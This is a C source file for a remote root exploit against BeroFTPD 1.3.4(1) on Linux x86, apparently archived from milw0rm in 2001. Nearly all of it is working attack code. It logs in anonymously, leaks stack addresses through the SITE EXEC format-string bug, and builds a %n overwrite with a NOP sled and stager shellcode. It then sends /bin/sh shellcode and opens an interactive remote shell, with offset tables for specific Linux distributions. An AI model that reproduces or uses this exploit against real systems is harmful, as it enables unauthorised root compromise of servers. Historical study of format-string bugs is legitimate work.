/*
* BeroFTPD 1.3.4(1) Linux x86 remote root exploit
* by qitest1 - 5/05/2001
*
* BeroFTPD is an ftpd derived from wuftpd sources. This code
* exploits the format bug of the site exec cmd, well known to be
* present in wuftpd-2.6.0 and derived daemons. BeroFTPD 1.3.4(1)
* is the current version at the moment.
*
* JUST SAMPLE CODE. For different platforms you have to try with
* different offsets for different retaddrs. You see.. =)
*
* Greets: Nail, Norby, Berserker.
* 69 rulez.. ;P
*/
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <errno.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
struct targ
{
int def;
char *descr;
unsigned long int enbuf;
int dawlen;
};
struct targ target[]=
{
{0, "RedHat 6.2 with BeroFTPD 1.3.4(1) from tar.gz", 0xded, 6},
{1, "Slackware 7.0 with BeroFTPD 1.3.4(1) from tar.gz", 0x1170, 12},
{2, "Mandrake 7.1 with BeroFTPD 1.3.4(1) from rpm", 0xdf1, 6},
{69, NULL, 0, 0}
};
/* 15 byte x86/linux PIC read() shellcode by lorian / teso
*/
unsigned char shellcode_read[] =
"\x33\xdb" /* xorl %ebx, %ebx */
"\xf7\xe3" /* mull %ebx */
"\xb0\x03" /* movb $3, %al */
"\x8b\xcc" /* movl %esp, %ecx */
"\x68\xb2\x00\xcd\x80" /* push 0x80CDxxB2 */
"\xff\xff\xe4"; /* jmp %esp */
unsigned char shellcode[] = /* Lam3rZ code */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0"
"\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b"
"\x5e\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66"
"\xb9\xff\x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01"
"\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89"
"\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0"
"\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
"\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe"
"\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08"
"\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0"
"\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8"
"\x90\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
"\x2e\x2e\x31\x31";
char fmtstr[1024];
int sock;
int sel;
int offset;
unsigned long int retloc;
unsigned long int bufaddr;
unsigned long int tmpaddr;
void fmtstr_build(unsigned long int bufaddr, unsigned long int retloc);
void xpad_cat (unsigned char *fabuf, unsigned long int addr);
void retloc_find(void);
void shellami(int sock);
void login(void);
void usage(char *progname);
int conn2host(char *host, int port);
main(int argc, char *argv[])
{
char rbuf[1024];
char *host = NULL;
int cnt;
printf("\n BeroFTPD 1.3.4(1) exploit by qitest1\n\n");
if(argc == 1)
usage(argv[0]);
while((cnt = getopt(argc,argv,"h:t:o:")) != EOF)
{
switch(cnt)
{
case 'h':
host = strdup(optarg);
break;
case 't':
sel = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if(host == NULL)
usage(argv[0]);
printf("+Host: %s\n as: %s\n", host, target[sel].descr);
printf("+Connecting to %s...\n", host);
sock = conn2host(host, 21);
printf(" connected\n");
printf("+Receiving banner...\n");
recv(sock, rbuf, 1024, 0);
printf("%s", rbuf);
memset(rbuf, 0, 1024);
printf(" received\n");
printf("+Logging in...\n");
login();
printf(" logged in\n");
printf("+Searching retloc...\n");
retloc_find();
printf(" found: %p\n", retloc);
printf("+Searching bufaddr...\n");
bufaddr = tmpaddr + target[sel].enbuf;
printf(" found: %p + offset = ", bufaddr);
bufaddr += offset;
printf("%p\n", bufaddr);
printf("+Preparing shellcode...\n");
shellcode_read[strlen(shellcode_read)] = (unsigned char) strlen(shellcode);
printf(" shellcode ready\n");
printf("+Building fmtstr...\n");
fmtstr_build(bufaddr, retloc);
printf(" fmtstr builded\n");
printf("+Sending fmtstr...\n");
send(sock, fmtstr, strlen(fmtstr), 0);
printf(" fmtstr sent\n");
recv(sock, rbuf, 1024, 0);
sleep(1);
send(sock, shellcode, strlen(shellcode), 0);
sleep(2);
printf("+Entering love mode...\n"); /* Nail teachs.. ;-) */
shellami(sock);
}
void
fmtstr_build(unsigned long int bufaddr, unsigned long int retloc)
{
int i;
int eat = 136;
int wlen = 428;
int tow;
int freespz;
char f[1024];
unsigned long int soul69 = 0x69696969; /* That's amore.. =) */
unsigned char retaddr[4];
for(i = 0; i < 4; ++i)
retaddr[i] = (bufaddr >> (i << 3)) & 0xff;
wlen -= target[sel].dawlen;
f[0] = 0;
for(i = 0; i < eat; i++)
strcat(f, "%.f");
strcat(fmtstr, "SITE EXEC ");
strcat(fmtstr, " ");
xpad_cat(fmtstr, retloc);
xpad_cat(fmtstr, soul69);
xpad_cat(fmtstr, retloc + 1);
xpad_cat(fmtstr, soul69);
xpad_cat(fmtstr, retloc + 2);
xpad_cat(fmtstr, soul69);
xpad_cat(fmtstr, retloc + 3);
strcat(fmtstr, f);
strcat(fmtstr, "%x");
/* Code by teso
*/
tow = ((retaddr[0] + 0x100) - (wlen % 0x100)) % 0x100;
if (tow < 10) tow += 0x100;
sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
wlen += tow;
tow = ((retaddr[1] + 0x100) - (wlen % 0x100)) % 0x100;
if (tow < 10) tow += 0x100;
sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
wlen += tow;
tow = ((retaddr[2] + 0x100) - (wlen % 0x100)) % 0x100;
if (tow < 10) tow += 0x100;
sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
wlen += tow;
tow = ((retaddr[3] + 0x100) - (wlen % 0x100)) % 0x100;
if (tow < 10) tow += 0x100;
sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
wlen += tow;
/* End here
*/
freespz = 510 - strlen(fmtstr) - strlen(shellcode_read) - 1;
for(i = 0; i < freespz ; i++)
strcat(fmtstr, "\x90");
strcat(fmtstr, shellcode_read);
strcat(fmtstr, "\n");
}
/* Code by teso
*/
void xpad_cat (unsigned char *fabuf, unsigned long int addr)
{
int i;
unsigned char c;
for (i = 0 ; i <= 3 ; ++i) {
switch (i) {
case (0):
c = (unsigned char) ((addr & 0x000000ff) );
break;
case (1):
c = (unsigned char) ((addr & 0x0000ff00) >> 8);
break;
case (2):
c = (unsigned char) ((addr & 0x00ff0000) >> 16);
break;
case (3):
c = (unsigned char) ((addr & 0xff000000) >> 24);
break;
}
if (c == 0xff)
sprintf (fabuf + strlen (fabuf), "%c", c);
sprintf (fabuf + strlen (fabuf), "%c", c);
}
return;
}
/* End here
*/
void
retloc_find(void)
{
int i;
char rbuf[1024];
char sbuf[1024];
char *ptr;
strcpy(sbuf, "SITE EXEC ");
for(i = 0; i < 6; i++)
strcat(sbuf, "%p ");
strcat(sbuf, "\n");
send(sock, sbuf, strlen(sbuf), 0);
recv(sock, rbuf, 1024, 0);
ptr = rbuf;
for(i = 0; i < 5; i++)
{
while(*ptr != ' ')
ptr++;
ptr++;
}
ptr[strlen(ptr) - 2] = '\x00';
ptr[strlen(ptr) - 1] = '\x00';
sscanf(ptr, "%p", &retloc);
sscanf(ptr, "%p", &tmpaddr);
retloc -= 0x40;
}
void
shellami(int sock)
{
int n;
char recvbuf[1024];
char *cmd = "id; uname -a\n";
fd_set rset;
send(sock, cmd, strlen(cmd), 0);
while (1)
{
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);
if (FD_ISSET(sock,&rset))
{
n=read(sock,recvbuf,1024);
if (n <= 0)
{
printf("Connection closed by foreign host.\n");
exit(0);
}
recvbuf[n]=0;
printf("%s",recvbuf);
}
if (FD_ISSET(STDIN_FILENO,&rset))
{
n=read(STDIN_FILENO,recvbuf,1024);
if (n>0)
{
recvbuf[n]=0;
write(sock,recvbuf,n);
}
}
}
return;
}
int
conn2host(char *host, int port)
{
int sockfd;
struct hostent *he;
struct sockaddr_in their_addr;
if ((he=gethostbyname(host)) == NULL)
{
herror("gethostbyname");
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
exit(1);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(port);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(their_addr.sin_zero), 8);
if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
{
perror("connect");
exit(1);
}
return(sockfd);
}
void
login(void)
{
char *user = "USER anonymous\n";
char *pass = "PASS guest@\n";
char rbuf[1024];
send(sock, user, strlen(user), 0);
recv(sock, rbuf, 1024, 0);
memset(rbuf, 0, 1024);
send(sock, pass, strlen(pass), 0);
while(strstr(rbuf, "login ok") == NULL)
{
memset(rbuf, 0, 1024);
recv(sock, rbuf, 1024, 0);
}
}
void
usage(char *progname)
{
int i = 0;
printf("Usage: %s [options]\n", progname);
printf("Options:\n"
" -h hostname\n"
" -t target\n"
" -o offset\n"
"Available targets:\n");
while(target[i].def != 69)
{
printf(" %d) %s\n", target[i].def, target[i].descr);
i++;
}
exit(1);
}
// milw0rm.com [2001-05-08]